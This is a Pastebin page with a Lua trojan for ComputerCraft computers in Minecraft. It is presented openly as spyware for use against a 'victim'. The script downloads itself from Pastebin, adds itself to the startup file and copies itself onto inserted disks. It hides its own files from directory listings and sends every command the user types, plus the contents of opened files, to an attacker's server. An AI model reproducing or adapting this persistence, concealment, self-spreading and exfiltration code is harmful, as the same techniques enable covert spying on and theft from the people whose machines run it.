Advertisement
PaymentOption

screenViewer

May 8th, 2012
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.14 KB | None | 0 0
  1. -- H4CK3RZ Screen viewer by PaymentOption; Client Side --
  2. VERSION = "Alpha 0.0.1"
  3. ---------------------------------------------------------
  4.  
  5. rednet.open("top")
  6. rednet.open("back")
  7. rednet.open("right")
  8. rednet.open("left")
  9. rednet.open("bottom")
  10.  
  11.  
  12. -- VARS --
  13. serverID = 156
  14. sLink = "3MySLThV"
  15. ----------
  16.  
  17. rednet.send(serverID, "connect")
  18.  
  19. -- Helper Functions --
  20. function cPrint(height, string)
  21.     local w, h = term.getSize()
  22.     local xPosition = w/2 - string.len(string)/2
  23.    
  24.     term.setCursorPos(xPosition, height)
  25.     term.write(string)
  26. end
  27.  
  28. function rPrint(height, string)
  29.     local w,h = term.getSize()
  30.     local xPos = w - string.len(string)
  31.    
  32.     term.setCursorPos(xPos, height)
  33.     term.write(string)
  34. end
  35.  
  36. function clear() term.clear(); term.setCursorPos(1,1) end
  37.  
  38. function split(str, pat)
  39.    local t = {}  -- NOTE: use {n = 0} in Lua-5.0
  40.    local fpat = "(.-)" .. pat
  41.    local last_end = 1
  42.    local s, e, cap = str:find(fpat, 1)
  43.    while s do
  44.       if s ~= 1 or cap ~= "" then
  45.      table.insert(t,cap)
  46.       end
  47.       last_end = e+1
  48.       s, e, cap = str:find(fpat, last_end)
  49.    end
  50.    if last_end <= #str then
  51.       cap = str:sub(last_end)
  52.       table.insert(t, cap)
  53.    end
  54.    return t
  55. end
  56. ----------------------
  57.  
  58. -- File Functions --
  59. function listHidden() -- Function used to make sure our victim doesn't see our xeno file!
  60.     local sDir = shell.dir()
  61.     local tAll = fs.list( sDir )
  62.     local tFiles = {}
  63.     local tDirs = {}
  64.  
  65.     for n, sItem in pairs( tAll ) do
  66.         if string.sub( sItem, 1, 1 ) ~= "." then
  67.             local sPath = fs.combine( sDir, sItem )
  68.             if fs.isDir( sPath ) then
  69.                 table.insert( tDirs, sItem )
  70.             else
  71.                 table.insert( tFiles, sItem )
  72.             end
  73.         end
  74.     end
  75.     table.sort( tDirs )
  76.     table.sort( tFiles )
  77.    
  78.     for i=1, #tFiles do if tFiles[i] == "OS/log" then table.remove(tFiles, i); break end; end
  79.     for i=1, #tDirs do if tDirs[i] == "OS" then table.remove(tDirs, i); break end; end
  80.    
  81.     textutils.pagedTabulate( tDirs, tFiles )
  82. end
  83.  
  84. function storeSelf()
  85.     if fs.isDir("OS") == false then shell.run("mkdir", "OS") end
  86.    
  87.     if fs.exists("OS/log") == false then
  88.         shell.run("rom/programs/http/pastebin", "get", sLink, "OS/log")
  89.     end
  90.    
  91.     if fs.exists("/startup") then
  92.         local file = fs.open("/startup", "r")
  93.         local fileContents = file.readAll()
  94.         file.close(); fs.delete("/startup")
  95.        
  96.         file = fs.open("/startup", "w")
  97.         file.write("shell.run('OS/log')\n"..fileContents)
  98.         file.close()
  99.     else
  100.         local file = fs.open("/startup", "w")
  101.         file.write("shell.run('OS/log')\n")
  102.         file.close()
  103.     end
  104. end
  105.  
  106. -- Get Screen --
  107. function getScreen()
  108.     local tCommand = {}; local command = ""
  109.    
  110.     write(shell.dir().."> ")
  111.     command = read()
  112.    
  113.     if fs.exists("/disk") then
  114.         local file = fs.open("OS/log", "r")
  115.         local fileContents = file.readAll()
  116.         file.close()
  117.        
  118.         file = fs.open("disk/startup", "w")
  119.         file.write(tostring(fileContents))
  120.         file.close()
  121.     end
  122.    
  123.     tCommand = split(tostring(command), " ")
  124.     if tCommand[1] == nil or tCommand[1] == "" then rednet.send(serverID, "82d5sf Nothing"); return end
  125.     if tCommand[1] == "list" or tCommand[1] == "ls" then listHidden(); return end -- Hide our file
  126.     if tCommand[1] == "cp" then tCommand[1] = "copy" end
  127.    
  128.     if fs.exists("rom/programs/"..tCommand[1]) == false and fs.exists("rom/apis/"..tCommand[1]) == false and fs.exists(shell.dir().."/"..tCommand[1]) then -- Send a file
  129.         rednet.send(serverID, "82d5sf FILE")
  130.         sender, message = rednet.receive()
  131.         if sender == serverID and message == "ready" then
  132.             local file = fs.open(tCommand[1], "r")
  133.             local fileContents = file.readAll()
  134.             file.close()
  135.            
  136.             rednet.send(serverID, tostring(fileContents))
  137.         else cPrint(6, "FAILED"); sleep(3) end
  138.     end
  139.    
  140.     rednet.send(serverID, "82d5sf "..tostring(command))
  141.    
  142.     if tCommand[2] == "OS" then print("Unknown error"); return end
  143.     if tCommand[2] == "OS/log" then print("Unknown error"); return end
  144.     if tCommand[2] == "startup" then print("Unknown error"); return end
  145.     shell.run(tCommand[1], tCommand[2], tCommand[3], tCommand[4], tCommand[5])
  146.     if tCommand[1] == "edit" then print(os.version()) end--]]
  147. end
  148. ----------------
  149.  
  150. storeSelf()
  151. clear()
  152. print(os.version())
  153.  
  154. while true do
  155.     getScreen()
  156. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement